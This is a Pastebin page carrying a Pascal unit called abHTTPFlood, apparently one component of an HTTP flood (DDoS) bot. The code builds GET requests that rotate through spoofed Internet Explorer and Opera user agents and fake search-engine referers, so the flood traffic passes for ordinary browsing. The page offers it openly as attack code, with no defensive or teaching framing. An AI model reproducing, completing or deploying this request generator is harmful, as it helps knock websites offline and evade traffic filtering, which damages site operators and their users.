Advertisement
FlyFar

abHTTPFlood.pas

Dec 19th, 2023
1,422
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 1.47 KB | Cybersecurity | 0 0
  1. unit abHTTPFlood;
  2.  
  3. interface
  4.   uses Windows, abWinsock;
  5.  
  6. const
  7.   UserAgents: array[1..11] of String = (
  8.   'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0)',
  9.   'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1)',
  10.   'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2)',
  11.   'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0)',
  12.   'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.1)',
  13.   'Opera/7.51 (Windows NT 5.0; U) [en]',
  14.   'Opera/7.51 (Windows NT 5.1; U) [en]',
  15.   'Opera/7.51 (Windows NT 5.2; U) [en]',
  16.   'Opera/7.51 (Windows NT 6.0; U) [en]',
  17.   'Opera/7.51 (Windows NT 6.1; U) [en]',
  18.   'Opera/7.50 (Windows XP; U)');
  19.  
  20.   Referer: array[1..5] of String = (
  21.   'http://www.google.com/',
  22.   'http://www.yahoo.com/',
  23.   'http://www.ask.com/',
  24.   'http://www.alexa.com/',
  25.   'http://www.live.com/');
  26.  
  27. function CreateHTTPRequest(Site: String): String;
  28.  
  29. implementation
  30.  
  31. function CreateHTTPRequest(Site: String): String;
  32. var
  33.   Request: String;
  34. begin
  35.   Randomize;
  36.     Request := 'GET ' + Site + ' HTTP/1.1' + #13#10;
  37.   Request := Request + 'Host: ' + Site + #13#10;
  38.   Request := Request + 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' + #13#10;
  39.   Request := Request + 'Accept-Language: en-us,en' + #13#10;
  40.   Request := Request + 'User-Agent: ' + UserAgents[1 + Random(11)] + #13#10;
  41.   Request := Request + 'Referer: ' + Referer[1 + Random(5)] + #13#10;
  42.   Request := Request + 'Connection: close' + #13#10#13#10;
  43.   Result := Request;
  44. end;
  45.  
  46. end.
  47.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement